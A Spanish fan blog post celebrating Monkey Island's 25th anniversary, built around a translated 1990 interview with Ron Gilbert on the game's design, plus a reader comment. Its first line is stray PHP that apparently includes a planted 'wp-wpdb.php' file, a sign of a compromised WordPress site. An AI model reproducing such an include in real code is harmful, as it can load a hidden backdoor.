if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); [25 aniversario de Monkey Island] Entrevista a Ron Gilbert – La Fortaleza de LeChuck

[25 aniversario de Monkey Island] Entrevista a Ron Gilbert

Aventureros del mundo, han pasado 25 años desde el nacimiento de Monkey Island, una de las aventuras gráficas que cambió nuestra forma de ver los juegos de ordenador. Vamos a conocer algunos de sus secretos y anécdotas a través de su creador, Ron Gilbert.

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LeChuck, Elaine, Guybrush, el mono de 3 cabezas… Ha pasado mucho tiempo desde que jugamos por primera vez a Monkey Island en aquellos sistemas toscos y ruidosos donde apenas éramos unos críos que ponían comandos extraños en el MS-DOS (CD Juegos, CD Monkey Island…) y manejaban cientos de disquetes. Esos recuerdos siguen muy vivos mientras volvemos a jugar en dispositivos más modernos pero sin perder esa sonrisa.

Monkey Island revolucionó el género de la aventura gráfica, los juegos de ordenador y sobre todo el humor. Posiblemente fue el primer juego que nos hizo partirnos de risa delante de una pantalla y que nos enseñó nuevos insultos que soltábamos a nuestros amigos, y, bueno, también nos descubrió la tremenda utilidad del pollo de goma con polea. The Secret of Monkey Island no fue un éxito de ventas, pero si de crítica y diversión, y es sin duda uno de los juegos más queridos de la historia.

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Mas bien pareces un inspector de hacienda

Ron Gilbert escribió hace unos días una entrada en su blog anunciando el 25 aniversario de The Secret of Monkey Island y de la saga, desmintiendo así la fecha de la Wikipedia que sitúa el lanzamiento en octubre. Su artículo está lleno de recuerdos de la época, sin embargo, se centra en explicar el difícil proceso de programación, limpieza de errores y versiones para diferentes países en comparación con la actualidad que basta con darle a un botón para lanzarlo al mercado. No olvida a los compañeros que hicieron posible Monkey Island, y agradece que estuvieran ahí Dave Grossman, Tim SchaferSteve Purcell y Mark Ferrari, y también a otros profesionales que formaban parte de Lucasfilm Games, quienes les dieron libertad para expresarse de la forma que deseaban.

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Ron grabó estos discos el 2 de septiembre 1990, pero los definitivos fueron enviados a los pocos días

Ahora quería compartir con vosotros algo muy interesante: una entrevista sobre el desarrollo de Monkey Island que se le realizó a Ron Gilbert en otoño de 1990 en la revista LucasFilm Adventurer vol. 1. La he traducido para la ocasión, allá va:

¿Qué te llevó a hacer un juego de piratas?

Había querido hacer un juego de piratas desde hace tiempo. Una de mis atracciones favoritas en Disneyland es Piratas del Caribe. Vas en un pequeño bote que te lleva a través de una aventura de piratas, culminando en una pelea de cañones entre dos barcos. El barco te mantiene en movimiento a través de la aventura, pero siempre deseaba bajar y pasear, aprender más acerca de los personajes, y encontrar un camino en esos barcos piratas. Así que con The Secret of Monkey Island quería crear un juego que tuviera el mismo sabor, pero en el que pudiera bajar del barco y entrar en todo ese mundo de cuento de hadas. Los piratas en Monkey Island no son como los verdaderos piratas que eran babosos y violentos, terroristas del siglo 17. Estos son aventureros amantes de la diversión, como los de las historias de aventuras con las que crecimos.

Una vez que tuviste la idea, ¿cómo lo hiciste para desarrollarla?

Comencé a diseñar Monkey Island hace unos dos años y medio. Sin embargo, solo era un diseño mientras Indiana Jones y la última cruzada estaba en producción. Tenía que desarrollarse rápidamente, así que tuvimos que parar Monkey Island por un tiempo. Por esta razón tardó tanto en lanzarse.

Lo primero que hago cuando estoy diseñando un juego es sentarme y escribir una historia corta. Escribí un montón de historias de cuatro o cinco páginas, un montón de diferentes tramas. Entonces leería cada historia y me preguntaría ¿es interesante? ¿tiene sentido? Y diría, «bueno, no.» Así que la lanzaba y escribía otra. Seguí escribiendo historias y mostrándolas a la gente de la oficina, hasta que di con algo que era realmente intrigante. Había puesto algunos fantasmas en una de las historias y parecía captar el interés de todos. No estoy seguro de por qué hay una estrecha conexión entre tales piratas y fantasmas, y tantas historias de barcos fantasmas y piratas fantasmas. En todo lo que leí, nunca averigüé dónde comenzó todo eso. Sin embargo, cuando me puse con el pirata fantasma LeChuck es cuando todo empezó a cobrar sentido para mí porque ahora tenía un interesante y potente antagonista.

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Mencionas algo de hacer un poco de lectura. ¿Por qué?

He leído un montón de novelas y libros de referencia, por saborear más de la época que por exactitud. Esto no es un juego históricamente exacto. De hecho, ya verás cuando juegues que hay una gran cantidad de anacronismos, como la máquina expendedora en el astillero de Stan. Están ahí para meter humor al juego, por supuesto, pero también tienen un secreto, de profunda relevancia en la historia pero me quedo con ese secreto para la secuela.

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¿Una secuela? ¿En serio?

Sí, pero no se lo digas a nadie.

Está bien, voy a editar esa línea de la entrevista antes de que sea impresa. Así que tienes tu historia, y tu pirata fantasma. ¿Entonces qué?

El siguiente paso fue coger la historia y dividirla en un esquema paso a paso de lo que el jugador tiene que hacer. Tienes que recoger algunas cosas, tienes que conseguir un barco, tienes que encontrar Monkey Island, y así sucesivamente. Terminé con una lista de cuatro páginas con cuarenta o cincuenta puntos clave. Entonces empecé a escribir puzles alrededor de cada uno de esos puntos. Cada punto puede tener hasta tres o cuatro rompecabezas que necesitan ser resueltos.

Al mismo tiempo, me puse a buscar maneras de hacer que la historia no fuera lineal, para dar a los jugadores la opción de elegir qué puzle sería el siguiente. Si tienes un montón de puzles, haces que los jugadores se sientan menos frustrados con tu juego debido a que no estarán sentados en una habitación tratando de pasar a través de una puerta, sin nada más que hacer en el juego hasta resolver esa parte. Si se les da otras cosas para hacer de mientras, pueden dejar ese rompecabezas a un lado por un tiempo. Tal vez incluso verán algo en el camino que les dará una pista.

¿Puedes darnos un ejemplo de esto en el juego?

Una de las cosas que hice para hacer la historia menos lineal fue añadir las tres pruebas al comienzo del juego. Tienes que demostrar que eres un pirata completando las tres pruebas, y se puede hacer en cualquier orden. Esto fue hecho a propósito, de modo que no tienes que terminar la primera prueba antes de comenzar la segunda. Creo que es una buena técnica de diseño para tener las cosas menos lineales como sea posible, pero hace que la narrativa sea diez veces más complicada.

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El juego pasó por un montón de cambios en el proceso de diseño. Las tres pruebas son un ejemplo. Yo las añadí al final de la etapa de diseño. Otro cambio fue que decidí introducir una gran cantidad de personajes que no estaban directamente relacionados con la trama principal. Estos son los personajes que finalmente necesitas para la tripulación del barco pero quería que los jugadores los conocieran mientras se completaban las pruebas. No son importantes en ese punto. Luego, cuando se presenta el problema de encontrar una tripulación piensas, guau, ya he conocido a esas personas, y ahora puedo volver y realmente interactuar con ellos.

Cuando terminaste el diseño, comenzaste ya la programación, ¿verdad?

Incorrecto. Después de terminar el diseño viene la horrible tarea de elaborar un presupuesto y la programación, lo que no es divertido en absoluto. Planear cuándo cada pantalla se va a dibujar, cuándo cada personaje va a quedar programado, cuánto me va a costar. Esto puede durar un par de semanas.

Un juego de PC solía ser creado por una persona que trabajaba en ello tal vez un año, y costaría treinta o cuarenta mil dólares. Ahora que estamos haciendo estos grandes juegos con equipos de especialistas que trabajan juntos, está empezando a costar grandes cantidades de dinero. Dentro de unos años costará un millón de dólares desarrollar un juego. Cuando estás tratando con esa cantidad de dinero tienes que planificar cada detalle. Nuestro equipo de Monkey Island incluye a los programadores Tim Schafer y Dave Grossman. Ellos no sólo hicieron la programación, sino que escribieron alrededor de dos terceras partes de la ventana de diálogo en el juego. Y Steve Purcell y Mark Ferrari hicieron el maravilloso arte.

Una vez que se hacen los presupuestos y horarios, puedes comenzar la programación por fin. Pero Monkey Island es un juego enorme y complejo. ¿Por dónde empezaste?

Nuestro primer objetivo era conseguir una versión simple del juego en conjunto tan rápido como pudiéramos. Eso significa que le faltaba un montón de animaciones, las pantallas solo estaban esbozadas y los rompecabezas se conectan de la manera más rápida posible. Llevó cerca de tres meses obtener una versión primitiva de Monkey Island que era jugable de principio a fin. Era como tener un primer corte de una película. Pudimos identificar una gran cantidad de puntos débiles, y cortamos un montón de juego en un momento dado, ya que simplemente no fluía bien y añadimos cosas donde el juego no era lo suficientemente interesante.

¿Por ejemplo?

Antes de poder reclutar a un personaje llamado Meathook, exige que demuestres tu valentía. Había que lograr tres cosas. Pero frenaba el flujo del juego demasiado, así que cortamos dos de ellas. Por la historia, una era suficiente. Hemos añadido algunas cosas también. Nos dimos cuenta de que una vez que entras en Monkey Island, el juego se hacía un poco lento. La razón era simplemente que no había mucha gente en la isla para interactuar, ya que se supone que es una isla desierta. Así que añadimos un náufrago en la isla, y esto ofrece al jugador alguien con quien hablar. Y a medida que avanzamos en la historia de la isla, descubrimos que él es una parte muy importante de esa historia.

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Así que la primera versión del juego en realidad nos ahorró tiempo. Si en lugar de esto hubiéramos trabajado cada parte a la perfección a medida que avanzábamos, hubiéramos perdido mucho tiempo en estas cosas que más adelante se hubieran quitado, y hubiera costado el doble de tiempo producir el juego.

Pero Monkey Island está a la venta por fin.

Me alegro de que esté hecho. Han pasado dos años y medio y un montón de trabajo duro, pero muy divertido también. Esperamos que todo el mundo se divierta jugándolo

***

Cuando Museboy y yo nos conocimos, enseguida salió el nombre de Monkey Island y entre risas recordamos (y aún recordamos) los mejores momentos del juego. A raíz de todo ese cariño nació este blog, un homenaje virtual a los videojuegos en general y a Monkey Island en particular.

Monkey Island es un juego que aunque no seas un jugón empedernido nunca se olvida; hace unos meses mi hermano, un viciado cuando era más jovencito, me mostró una camiseta que se había comprado en Madrid, y para mi sorpresa llevaba estampado un Guybrush pixelado.

Disney cerró tristemente LucasArts después de comprarla pero los derechos de sus juegos siguen siendo de su propiedad, solo esperamos que algún día Ron Gilbert recupere sus juegos para hacer como anhela él, y todos los aventureros, una tercera parte de las aventuras de Guybrush.

Y ahora, piratas… ¡¡¡LEVANTAD ESAS JARRAS DE GROG Y BRINDEMOS POR LOS 25 AÑOS DE MONKEY ISLAND!!!

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Por cierto, ¿alguien sabe cuál es el puñetero secreto de Monkey Island?

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

2 comentarios

  1. Mucha gente ha especulado sobre El Secreto de Monkey Island. Sólo su creador lo sabe. Pero leyendo la entrevista que tradujiste, creo, como mucha gente, que el verdadero secreto es que todo está pasando en la cabeza de Guybrush, quien es un niño fantaseando en un parque de diversiones con temática de piratas. Hay toda una teoría alrededor de ello en internet desde hace años. Podrías buscarla y ver que tal.

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